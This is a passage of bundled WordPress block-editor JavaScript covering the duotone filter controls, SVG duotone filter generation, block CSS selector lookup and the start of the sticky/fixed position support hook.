29626 return elementCSSRules.length > 0 ? elementCSSRules.join("") : void 0;
29627 }, [baseElementSelector, blockElementStyles, name]);
29628 useStyleOverride({ css: styles });
29629 return style_addSaveProps(
29630 { className: blockElementsContainerIdentifier },
29631 name,
29632 { style },
29633 skipSerializationPathsEdit
29634 );
29635}
29636(0,external_wp_hooks_namespaceObject.addFilter)(
29637 "blocks.registerBlockType",
29638 "core/style/addAttribute",
29639 style_addAttribute
29640);
29641
29642
29643;// ./node_modules/@wordpress/block-editor/build-module/hooks/settings.js
29644
29645
29646const hasSettingsSupport = (blockType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "__experimentalSettings", false);
29647function settings_addAttribute(settings) {
29648 if (!hasSettingsSupport(settings)) {
29649 return settings;
29650 }
29651 if (!settings?.attributes?.settings) {
29652 settings.attributes = {
29653 ...settings.attributes,
29654 settings: {
29655 type: "object"
29656 }
29657 };
29658 }
29659 return settings;
29660}
29661(0,external_wp_hooks_namespaceObject.addFilter)(
29662 "blocks.registerBlockType",
29663 "core/settings/addAttribute",
29664 settings_addAttribute
29665);
29666
29667;// ./node_modules/@wordpress/icons/build-module/library/filter.js
29668
29669
29670var filter_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4 4 19h16L12 4zm0 3.2 5.5 10.3H12V7.2z" }) });
29671
29672
29673;// ./node_modules/@wordpress/block-editor/build-module/components/duotone-control/index.js
29674
29675
29676
29677
29678
29679
29680function DuotoneControl({
29681 id: idProp,
29682 colorPalette,
29683 duotonePalette,
29684 disableCustomColors,
29685 disableCustomDuotone,
29686 value,
29687 onChange
29688}) {
29689 let toolbarIcon;
29690 if (value === "unset") {
29691 toolbarIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorIndicator, { className: "block-editor-duotone-control__unset-indicator" });
29692 } else if (value) {
29693 toolbarIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DuotoneSwatch, { values: value });
29694 } else {
29695 toolbarIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: filter_default });
29696 }
29697 const actionLabel = (0,external_wp_i18n_namespaceObject.__)("Apply duotone filter");
29698 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(DuotoneControl, "duotone-control", idProp);
29699 const descriptionId = `${id}__description`;
29700 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29701 external_wp_components_namespaceObject.Dropdown,
29702 {
29703 popoverProps: {
29704 className: "block-editor-duotone-control__popover",
29705 headerTitle: (0,external_wp_i18n_namespaceObject.__)("Duotone")
29706 },
29707 renderToggle: ({ isOpen, onToggle }) => {
29708 const openOnArrowDown = (event) => {
29709 if (!isOpen && event.keyCode === external_wp_keycodes_namespaceObject.DOWN) {
29710 event.preventDefault();
29711 onToggle();
29712 }
29713 };
29714 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29715 external_wp_components_namespaceObject.ToolbarButton,
29716 {
29717 showTooltip: true,
29718 onClick: onToggle,
29719 "aria-haspopup": "true",
29720 "aria-expanded": isOpen,
29721 onKeyDown: openOnArrowDown,
29722 label: actionLabel,
29723 icon: toolbarIcon
29724 }
29725 );
29726 },
29727 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Duotone"), children: [
29728 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
29729 "Create a two-tone color effect without losing your original image."
29730 ) }),
29731 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29732 external_wp_components_namespaceObject.DuotonePicker,
29733 {
29734 "aria-label": actionLabel,
29735 "aria-describedby": descriptionId,
29736 colorPalette,
29737 duotonePalette,
29738 disableCustomColors,
29739 disableCustomDuotone,
29740 value,
29741 onChange
29742 }
29743 )
29744 ] })
29745 }
29746 );
29747}
29748var duotone_control_default = DuotoneControl;
29749
29750
29751;// ./node_modules/@wordpress/block-editor/build-module/components/duotone/utils.js
29752
29753function getValuesFromColors(colors = []) {
29754 const values = { r: [], g: [], b: [], a: [] };
29755 colors.forEach((color) => {
29756 const rgbColor = w(color).toRgb();
29757 values.r.push(rgbColor.r / 255);
29758 values.g.push(rgbColor.g / 255);
29759 values.b.push(rgbColor.b / 255);
29760 values.a.push(rgbColor.a);
29761 });
29762 return values;
29763}
29764function getDuotoneUnsetStylesheet(selector) {
29765 return `${selector}{filter:none}`;
29766}
29767function getDuotoneStylesheet(selector, id) {
29768 return `${selector}{filter:url(#${id})}`;
29769}
29770function getDuotoneFilter(id, colors) {
29771 const values = getValuesFromColors(colors);
29772 return `
29773<svg
29774 xmlns:xlink="http://www.w3.org/1999/xlink"
29775 viewBox="0 0 0 0"
29776 width="0"
29777 height="0"
29778 focusable="false"
29779 role="none"
29780 aria-hidden="true"
29781 style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"
29782>
29783 <defs>
29784 <filter id="${id}">
29785 <!--
29786 Use sRGB instead of linearRGB so transparency looks correct.
29787 Use perceptual brightness to convert to grayscale.
29788 -->
29789 <feColorMatrix color-interpolation-filters="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 "></feColorMatrix>
29790 <!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. -->
29791 <feComponentTransfer color-interpolation-filters="sRGB">
29792 <feFuncR type="table" tableValues="${values.r.join(" ")}"></feFuncR>
29793 <feFuncG type="table" tableValues="${values.g.join(" ")}"></feFuncG>
29794 <feFuncB type="table" tableValues="${values.b.join(" ")}"></feFuncB>
29795 <feFuncA type="table" tableValues="${values.a.join(" ")}"></feFuncA>
29796 </feComponentTransfer>
29797 <!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. -->
29798 <feComposite in2="SourceGraphic" operator="in"></feComposite>
29799 </filter>
29800 </defs>
29801</svg>`;
29802}
29803
29804
29805;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/get-block-css-selector.js
29806
29807
29808function getBlockCSSSelector(blockType, target = "root", options = {}) {
29809 if (!target) {
29810 return null;
29811 }
29812 const { fallback = false } = options;
29813 const { name, selectors, supports } = blockType;
29814 const hasSelectors = selectors && Object.keys(selectors).length > 0;
29815 const path = Array.isArray(target) ? target.join(".") : target;
29816 let rootSelector = null;
29817 if (hasSelectors && selectors.root) {
29818 rootSelector = selectors?.root;
29819 } else if (supports?.__experimentalSelector) {
29820 rootSelector = supports.__experimentalSelector;
29821 } else {
29822 rootSelector = ".wp-block-" + name.replace("core/", "").replace("/", "-");
29823 }
29824 if (path === "root") {
29825 return rootSelector;
29826 }
29827 const pathArray = Array.isArray(target) ? target : target.split(".");
29828 if (pathArray.length === 1) {
29829 const fallbackSelector = fallback ? rootSelector : null;
29830 if (hasSelectors) {
29831 const featureSelector2 = getValueFromObjectPath(selectors, `${path}.root`, null) || getValueFromObjectPath(selectors, path, null);
29832 return featureSelector2 || fallbackSelector;
29833 }
29834 const featureSelector = getValueFromObjectPath(
29835 supports,
29836 `${path}.__experimentalSelector`,
29837 null
29838 );
29839 if (!featureSelector) {
29840 return fallbackSelector;
29841 }
29842 return scopeSelector(rootSelector, featureSelector);
29843 }
29844 let subfeatureSelector;
29845 if (hasSelectors) {
29846 subfeatureSelector = getValueFromObjectPath(selectors, path, null);
29847 }
29848 if (subfeatureSelector) {
29849 return subfeatureSelector;
29850 }
29851 if (fallback) {
29852 return getBlockCSSSelector(blockType, pathArray[0], options);
29853 }
29854 return null;
29855}
29856
29857
29858;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/filters-panel.js
29859
29860
29861
29862
29863
29864
29865
29866
29867const filters_panel_EMPTY_ARRAY = [];
29868function useMultiOriginColorPresets(settings, { presetSetting, defaultSetting }) {
29869 const disableDefault = !settings?.color?.[defaultSetting];
29870 const userPresets = settings?.color?.[presetSetting]?.custom || filters_panel_EMPTY_ARRAY;
29871 const themePresets = settings?.color?.[presetSetting]?.theme || filters_panel_EMPTY_ARRAY;
29872 const defaultPresets = settings?.color?.[presetSetting]?.default || filters_panel_EMPTY_ARRAY;
29873 return (0,external_wp_element_namespaceObject.useMemo)(
29874 () => [
29875 ...userPresets,
29876 ...themePresets,
29877 ...disableDefault ? filters_panel_EMPTY_ARRAY : defaultPresets
29878 ],
29879 [disableDefault, userPresets, themePresets, defaultPresets]
29880 );
29881}
29882function useHasFiltersPanel(settings) {
29883 return useHasDuotoneControl(settings);
29884}
29885function useHasDuotoneControl(settings) {
29886 return settings.color.customDuotone || settings.color.defaultDuotone || settings.color.duotone.length > 0;
29887}
29888function FiltersToolsPanel({
29889 resetAllFilter,
29890 onChange,
29891 value,
29892 panelId,
29893 children
29894}) {
29895 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
29896 const resetAll = () => {
29897 const updatedValue = resetAllFilter(value);
29898 onChange(updatedValue);
29899 };
29900 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29901 external_wp_components_namespaceObject.__experimentalToolsPanel,
29902 {
29903 label: (0,external_wp_i18n_namespaceObject._x)("Filters", "Name for applying graphical effects"),
29904 resetAll,
29905 panelId,
29906 dropdownMenuProps,
29907 children
29908 }
29909 );
29910}
29911const filters_panel_DEFAULT_CONTROLS = {
29912 duotone: true
29913};
29914const filters_panel_popoverProps = {
29915 placement: "left-start",
29916 offset: 36,
29917 shift: true,
29918 className: "block-editor-duotone-control__popover",
29919 headerTitle: (0,external_wp_i18n_namespaceObject.__)("Duotone")
29920};
29921const LabeledColorIndicator = ({ indicator, label }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
29922 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalZStack, { isLayered: false, offset: -8, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { expanded: false, children: indicator === "unset" || !indicator ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorIndicator, { className: "block-editor-duotone-control__unset-indicator" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DuotoneSwatch, { values: indicator }) }) }),
29923 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { title: label, children: label })
29924] });
29925const renderToggle = (duotone, resetDuotone) => ({ onToggle, isOpen }) => {
29926 const duotoneButtonRef = (0,external_wp_element_namespaceObject.useRef)(void 0);
29927 const toggleProps = {
29928 onClick: onToggle,
29929 className: dist_clsx(
29930 "block-editor-global-styles-filters-panel__dropdown-toggle",
29931 { "is-open": isOpen }
29932 ),
29933 "aria-expanded": isOpen,
29934 ref: duotoneButtonRef
29935 };
29936 const removeButtonProps = {
29937 onClick: () => {
29938 if (isOpen) {
29939 onToggle();
29940 }
29941 resetDuotone();
29942 duotoneButtonRef.current?.focus();
29943 },
29944 className: "block-editor-panel-duotone-settings__reset",
29945 label: (0,external_wp_i18n_namespaceObject.__)("Reset")
29946 };
29947 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29948 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, ...toggleProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29949 LabeledColorIndicator,
29950 {
29951 indicator: duotone,
29952 label: (0,external_wp_i18n_namespaceObject.__)("Duotone")
29953 }
29954 ) }),
29955 duotone && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29956 external_wp_components_namespaceObject.Button,
29957 {
29958 size: "small",
29959 icon: reset_default,
29960 ...removeButtonProps
29961 }
29962 )
29963 ] });
29964};
29965function FiltersPanel({
29966 as: Wrapper = FiltersToolsPanel,
29967 value,
29968 onChange,
29969 inheritedValue = value,
29970 settings,
29971 panelId,
29972 defaultControls = filters_panel_DEFAULT_CONTROLS
29973}) {
29974 const decodeValue = (rawValue) => getValueFromVariable({ settings }, "", rawValue);
29975 const hasDuotoneEnabled = useHasDuotoneControl(settings);
29976 const duotonePalette = useMultiOriginColorPresets(settings, {
29977 presetSetting: "duotone",
29978 defaultSetting: "defaultDuotone"
29979 });
29980 const colorPalette = useMultiOriginColorPresets(settings, {
29981 presetSetting: "palette",
29982 defaultSetting: "defaultPalette"
29983 });
29984 const duotone = decodeValue(inheritedValue?.filter?.duotone);
29985 const setDuotone = (newValue) => {
29986 const duotonePreset = duotonePalette.find(({ colors }) => {
29987 return colors === newValue;
29988 });
29989 const duotoneValue = duotonePreset ? `var:preset|duotone|${duotonePreset.slug}` : newValue;
29990 onChange(
29991 setImmutably(value, ["filter", "duotone"], duotoneValue)
29992 );
29993 };
29994 const hasDuotone = () => !!value?.filter?.duotone;
29995 const resetDuotone = () => setDuotone(void 0);
29996 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
29997 return {
29998 ...previousValue,
29999 filter: {
30000 ...previousValue.filter,
30001 duotone: void 0
30002 }
30003 };
30004 }, []);
30005 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30006 Wrapper,
30007 {
30008 resetAllFilter,
30009 value,
30010 onChange,
30011 panelId,
30012 children: hasDuotoneEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30013 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
30014 {
30015 label: (0,external_wp_i18n_namespaceObject.__)("Duotone"),
30016 hasValue: hasDuotone,
30017 onDeselect: resetDuotone,
30018 isShownByDefault: defaultControls.duotone,
30019 panelId,
30020 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30021 external_wp_components_namespaceObject.Dropdown,
30022 {
30023 popoverProps: filters_panel_popoverProps,
30024 className: "block-editor-global-styles-filters-panel__dropdown",
30025 renderToggle: renderToggle(duotone, resetDuotone),
30026 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { paddingSize: "small", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Duotone"), children: [
30027 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
30028 "Create a two-tone color effect without losing your original image."
30029 ) }),
30030 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30031 external_wp_components_namespaceObject.DuotonePicker,
30032 {
30033 colorPalette,
30034 duotonePalette,
30035 disableCustomColors: true,
30036 disableCustomDuotone: true,
30037 value: duotone,
30038 onChange: setDuotone
30039 }
30040 )
30041 ] }) })
30042 }
30043 )
30044 }
30045 )
30046 }
30047 );
30048}
30049
30050
30051;// ./node_modules/@wordpress/block-editor/build-module/hooks/duotone.js
30052
30053
30054
30055
30056
30057
30058
30059
30060
30061
30062
30063
30064
30065
30066
30067const duotone_EMPTY_ARRAY = [];
30068const isSafari = window?.navigator.userAgent && window.navigator.userAgent.includes("Safari") && !window.navigator.userAgent.includes("Chrome") && !window.navigator.userAgent.includes("Chromium");
30069k([names]);
30070function useMultiOriginPresets({ presetSetting, defaultSetting }) {
30071 const [enableDefault, userPresets, themePresets, defaultPresets] = use_settings_useSettings(
30072 defaultSetting,
30073 `${presetSetting}.custom`,
30074 `${presetSetting}.theme`,
30075 `${presetSetting}.default`
30076 );
30077 return (0,external_wp_element_namespaceObject.useMemo)(
30078 () => [
30079 ...userPresets || duotone_EMPTY_ARRAY,
30080 ...themePresets || duotone_EMPTY_ARRAY,
30081 ...enableDefault && defaultPresets || duotone_EMPTY_ARRAY
30082 ],
30083 [enableDefault, userPresets, themePresets, defaultPresets]
30084 );
30085}
30086function getColorsFromDuotonePreset(duotone, duotonePalette) {
30087 if (!duotone) {
30088 return;
30089 }
30090 const preset = duotonePalette?.find(({ slug }) => {
30091 return duotone === `var:preset|duotone|${slug}`;
30092 });
30093 return preset ? preset.colors : void 0;
30094}
30095function getDuotonePresetFromColors(colors, duotonePalette) {
30096 if (!colors || !Array.isArray(colors)) {
30097 return;
30098 }
30099 const preset = duotonePalette?.find((duotonePreset) => {
30100 return duotonePreset?.colors?.every(
30101 (val, index) => val === colors[index]
30102 );
30103 });
30104 return preset ? `var:preset|duotone|${preset.slug}` : void 0;
30105}
30106function DuotonePanelPure({ style, setAttributes, name }) {
30107 const duotoneStyle = style?.color?.duotone;
30108 const settings = useBlockSettings(name);
30109 const blockEditingMode = useBlockEditingMode();
30110 const duotonePalette = useMultiOriginPresets({
30111 presetSetting: "color.duotone",
30112 defaultSetting: "color.defaultDuotone"
30113 });
30114 const colorPalette = useMultiOriginPresets({
30115 presetSetting: "color.palette",
30116 defaultSetting: "color.defaultPalette"
30117 });
30118 const [enableCustomColors, enableCustomDuotone] = use_settings_useSettings(
30119 "color.custom",
30120 "color.customDuotone"
30121 );
30122 const disableCustomColors = !enableCustomColors;
30123 const disableCustomDuotone = !enableCustomDuotone || colorPalette?.length === 0 && disableCustomColors;
30124 if (duotonePalette?.length === 0 && disableCustomDuotone) {
30125 return null;
30126 }
30127 if (blockEditingMode !== "default") {
30128 return null;
30129 }
30130 const duotonePresetOrColors = duotoneStyle === "unset" || Array.isArray(duotoneStyle) ? duotoneStyle : getColorsFromDuotonePreset(duotoneStyle, duotonePalette);
30131 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30132 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "filter", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30133 FiltersPanel,
30134 {
30135 value: { filter: { duotone: duotonePresetOrColors } },
30136 onChange: (newDuotone) => {
30137 const newStyle = {
30138 ...style,
30139 color: {
30140 ...newDuotone?.filter
30141 }
30142 };
30143 setAttributes({
30144 style: utils_cleanEmptyObject(newStyle)
30145 });
30146 },
30147 settings
30148 }
30149 ) }),
30150 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "block", __experimentalShareWithChildBlocks: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30151 duotone_control_default,
30152 {
30153 duotonePalette,
30154 colorPalette,
30155 disableCustomDuotone,
30156 disableCustomColors,
30157 value: duotonePresetOrColors,
30158 onChange: (newDuotone) => {
30159 const maybePreset = getDuotonePresetFromColors(
30160 newDuotone,
30161 duotonePalette
30162 );
30163 const newStyle = {
30164 ...style,
30165 color: {
30166 ...style?.color,
30167 duotone: maybePreset ?? newDuotone
30168 // use preset or fallback to custom colors.
30169 }
30170 };
30171 setAttributes({
30172 style: utils_cleanEmptyObject(newStyle)
30173 });
30174 },
30175 settings
30176 }
30177 ) })
30178 ] });
30179}
30180var duotone_default = {
30181 shareWithChildBlocks: true,
30182 edit: DuotonePanelPure,
30183 useBlockProps: duotone_useBlockProps,
30184 attributeKeys: ["style"],
30185 hasSupport(name) {
30186 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "filter.duotone");
30187 }
30188};
30189function addDuotoneAttributes(settings) {
30190 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "filter.duotone")) {
30191 return settings;
30192 }
30193 if (!settings.attributes.style) {
30194 Object.assign(settings.attributes, {
30195 style: {
30196 type: "object"
30197 }
30198 });
30199 }
30200 return settings;
30201}
30202function useDuotoneStyles({
30203 clientId,
30204 id: filterId,
30205 selector: duotoneSelector,
30206 attribute: duotoneAttr
30207}) {
30208 const duotonePalette = useMultiOriginPresets({
30209 presetSetting: "color.duotone",
30210 defaultSetting: "color.defaultDuotone"
30211 });
30212 const isCustom = Array.isArray(duotoneAttr);
30213 const duotonePreset = isCustom ? void 0 : getColorsFromDuotonePreset(duotoneAttr, duotonePalette);
30214 const isPreset = typeof duotoneAttr === "string" && duotonePreset;
30215 const isCSS = typeof duotoneAttr === "string" && !isPreset;
30216 let colors = null;
30217 if (isPreset) {
30218 colors = duotonePreset;
30219 } else if (isCSS) {
30220 colors = duotoneAttr;
30221 } else if (isCustom) {
30222 colors = duotoneAttr;
30223 }
30224 const selectors = duotoneSelector.split(",");
30225 const selectorsScoped = selectors.map((selectorPart) => {
30226 return `.${filterId}${selectorPart.trim()}`;
30227 });
30228 const selector = selectorsScoped.join(", ");
30229 const isValidFilter = Array.isArray(colors) || colors === "unset";
30230 usePrivateStyleOverride(
30231 isValidFilter ? {
30232 css: colors !== "unset" ? getDuotoneStylesheet(selector, filterId) : getDuotoneUnsetStylesheet(selector),
30233 __unstableType: "presets"
30234 } : void 0
30235 );
30236 usePrivateStyleOverride(
30237 isValidFilter ? {
30238 assets: colors !== "unset" ? getDuotoneFilter(filterId, colors) : "",
30239 __unstableType: "svgs"
30240 } : void 0
30241 );
30242 const blockElement = useBlockElement(clientId);
30243 (0,external_wp_element_namespaceObject.useEffect)(() => {
30244 if (!isValidFilter) {
30245 return;
30246 }
30247 if (blockElement && isSafari) {
30248 const display = blockElement.style.display;
30249 blockElement.style.setProperty("display", "inline-block");
30250 blockElement.offsetHeight;
30251 blockElement.style.setProperty("display", display);
30252 }
30253 }, [isValidFilter, blockElement, colors]);
30254}
30255const DUOTONE_BLOCK_PROPS_REFERENCE = {};
30256function duotone_useBlockProps({ clientId, name, style }) {
30257 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(DUOTONE_BLOCK_PROPS_REFERENCE);
30258 const selector = (0,external_wp_element_namespaceObject.useMemo)(() => {
30259 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
30260 if (blockType) {
30261 const duotoneSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
30262 blockType,
30263 "filter.duotone",
30264 false
30265 );
30266 if (!duotoneSupport) {
30267 return null;
30268 }
30269 const experimentalDuotone = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
30270 blockType,
30271 "color.__experimentalDuotone",
30272 false
30273 );
30274 if (experimentalDuotone) {
30275 const rootSelector = getBlockCSSSelector(blockType);
30276 return typeof experimentalDuotone === "string" ? scopeSelector(rootSelector, experimentalDuotone) : rootSelector;
30277 }
30278 return getBlockCSSSelector(blockType, "filter.duotone", {
30279 fallback: true
30280 });
30281 }
30282 }, [name]);
30283 const attribute = style?.color?.duotone;
30284 const filterClass = `wp-duotone-${id}`;
30285 const shouldRender = selector && attribute;
30286 useDuotoneStyles({
30287 clientId,
30288 id: filterClass,
30289 selector,
30290 attribute
30291 });
30292 return {
30293 className: shouldRender ? filterClass : ""
30294 };
30295}
30296(0,external_wp_hooks_namespaceObject.addFilter)(
30297 "blocks.registerBlockType",
30298 "core/editor/duotone/add-attributes",
30299 addDuotoneAttributes
30300);
30301
30302
30303;// ./node_modules/@wordpress/block-editor/build-module/components/use-block-display-information/index.js
30304
30305
30306
30307
30308function getPositionTypeLabel(attributes) {
30309 const positionType = attributes?.style?.position?.type;
30310 if (positionType === "sticky") {
30311 return (0,external_wp_i18n_namespaceObject.__)("Sticky");
30312 }
30313 if (positionType === "fixed") {
30314 return (0,external_wp_i18n_namespaceObject.__)("Fixed");
30315 }
30316 return null;
30317}
30318function useBlockDisplayInformation(clientId) {
30319 return (0,external_wp_data_namespaceObject.useSelect)(
30320 (select) => {
30321 if (!clientId) {
30322 return null;
30323 }
30324 const { getBlockName, getBlockAttributes } = select(store);
30325 const { getBlockType, getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
30326 const blockName = getBlockName(clientId);
30327 const blockType = getBlockType(blockName);
30328 if (!blockType) {
30329 return null;
30330 }
30331 const attributes = getBlockAttributes(clientId);
30332 const match = getActiveBlockVariation(blockName, attributes);
30333 const isSynced = (0,external_wp_blocks_namespaceObject.isReusableBlock)(blockType) || (0,external_wp_blocks_namespaceObject.isTemplatePart)(blockType);
30334 const syncedTitle = isSynced ? (0,external_wp_blocks_namespaceObject.__experimentalGetBlockLabel)(blockType, attributes) : void 0;
30335 const title = syncedTitle || blockType.title;
30336 const positionLabel = getPositionTypeLabel(attributes);
30337 const blockTypeInfo = {
30338 isSynced,
30339 title,
30340 icon: blockType.icon,
30341 description: blockType.description,
30342 anchor: attributes?.anchor,
30343 positionLabel,
30344 positionType: attributes?.style?.position?.type,
30345 name: attributes?.metadata?.name
30346 };
30347 if (!match) {
30348 return blockTypeInfo;
30349 }
30350 return {
30351 isSynced,
30352 title: match.title || blockType.title,
30353 icon: match.icon || blockType.icon,
30354 description: match.description || blockType.description,
30355 anchor: attributes?.anchor,
30356 positionLabel,
30357 positionType: attributes?.style?.position?.type,
30358 name: attributes?.metadata?.name
30359 };
30360 },
30361 [clientId]
30362 );
30363}
30364
30365
30366;// ./node_modules/@wordpress/block-editor/build-module/hooks/position.js
30367
30368
30369
30370
30371
30372
30373
30374
30375
30376
30377
30378
30379
30380const POSITION_SUPPORT_KEY = "position";
30381const DEFAULT_OPTION = {
30382 key: "default",
30383 value: "",
30384 name: (0,external_wp_i18n_namespaceObject.__)("Default")
30385};
30386const STICKY_OPTION = {
30387 key: "sticky",
30388 value: "sticky",
30389 name: (0,external_wp_i18n_namespaceObject._x)("Sticky", "Name for the value of the CSS position property"),
30390 hint: (0,external_wp_i18n_namespaceObject.__)(
30391 "The block will stick to the top of the window instead of scrolling."
30392 )
30393};
30394const FIXED_OPTION = {
30395 key: "fixed",
30396 value: "fixed",
30397 name: (0,external_wp_i18n_namespaceObject._x)("Fixed", "Name for the value of the CSS position property"),
30398 hint: (0,external_wp_i18n_namespaceObject.__)("The block will not move when the page is scrolled.")
30399};
30400const POSITION_SIDES = ["top", "right", "bottom", "left"];
30401const VALID_POSITION_TYPES = ["sticky", "fixed"];
30402function getPositionCSS({ selector, style }) {
30403 let output = "";
30404 const { type: positionType } = style?.position || {};
30405 if (!VALID_POSITION_TYPES.includes(positionType)) {
30406 return output;
30407 }
30408 output += `${selector} {`;
30409 output += `position: ${positionType};`;
30410 POSITION_SIDES.forEach((side) => {
30411 if (style?.position?.[side] !== void 0) {
30412 output += `${side}: ${style.position[side]};`;
30413 }
30414 });
30415 if (positionType === "sticky" || positionType === "fixed") {
30416 output += `z-index: 10`;
30417 }
30418 output += `}`;
30419 return output;
30420}
30421function hasStickyPositionSupport(blockType) {
30422 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, POSITION_SUPPORT_KEY);
30423 return !!(true === support || support?.sticky);
30424}
30425function hasFixedPositionSupport(blockType) {
30426 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, POSITION_SUPPORT_KEY);
30427 return !!(true === support || support?.fixed);
30428}
30429function hasPositionSupport(blockType) {
30430 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, POSITION_SUPPORT_KEY);
30431 return !!support;
30432}
30433function hasPositionValue(props) {
30434 return props.attributes.style?.position?.type !== void 0;
30435}
30436function hasStickyOrFixedPositionValue(attributes) {
30437 const positionType = attributes?.style?.position?.type;
30438 return positionType === "sticky" || positionType === "fixed";
30439}
30440function resetPosition({ attributes = {}, setAttributes }) {
30441 const { style = {} } = attributes;
30442 setAttributes({
30443 style: cleanEmptyObject({
30444 ...style,
30445 position: {
30446 ...style?.position,
30447 type: void 0,
30448 top: void 0,
30449 right: void 0,
30450 bottom: void 0,
30451 left: void 0
30452 }
30453 })
30454 });
30455}
30456function useIsPositionDisabled({ name: blockName } = {}) {
30457 const [allowFixed, allowSticky] = use_settings_useSettings(
30458 "position.fixed",
30459 "position.sticky"
30460 );
30461 const isDisabled = !allowFixed && !allowSticky;
30462 return !hasPositionSupport(blockName) || isDisabled;
30463}
30464function PositionPanelPure({
30465 style = {},
30466 clientId,
30467 name: blockName,
30468 setAttributes
30469}) {
30470 const allowFixed = hasFixedPositionSupport(blockName);
30471 const allowSticky = hasStickyPositionSupport(blockName);
30472 const value = style?.position?.type;
30473 const { firstParentClientId } = (0,external_wp_data_namespaceObject.useSelect)(
30474 (select) => {
30475 const { getBlockParents } = select(store);
30476 const parents = getBlockParents(clientId);
30477 return { firstParentClientId: parents[parents.length - 1] };
30478 },
30479 [clientId]
30480 );
30481 const blockInformation = useBlockDisplayInformation(firstParentClientId);
30482 const stickyHelpText = allowSticky && value === STICKY_OPTION.value && blockInformation ? (0,external_wp_i18n_namespaceObject.sprintf)(
30483 /* translators: %s: the name of the parent block. */
30484 (0,external_wp_i18n_namespaceObject.__)(
30485 "The block will stick to the scrollable area of the parent %s block."
30486 ),
30487 blockInformation.title
30488 ) : null;
30489 const options = (0,external_wp_element_namespaceObject.useMemo)(() => {
30490 const availableOptions = [DEFAULT_OPTION];
30491 if (allowSticky || value === STICKY_OPTION.value) {
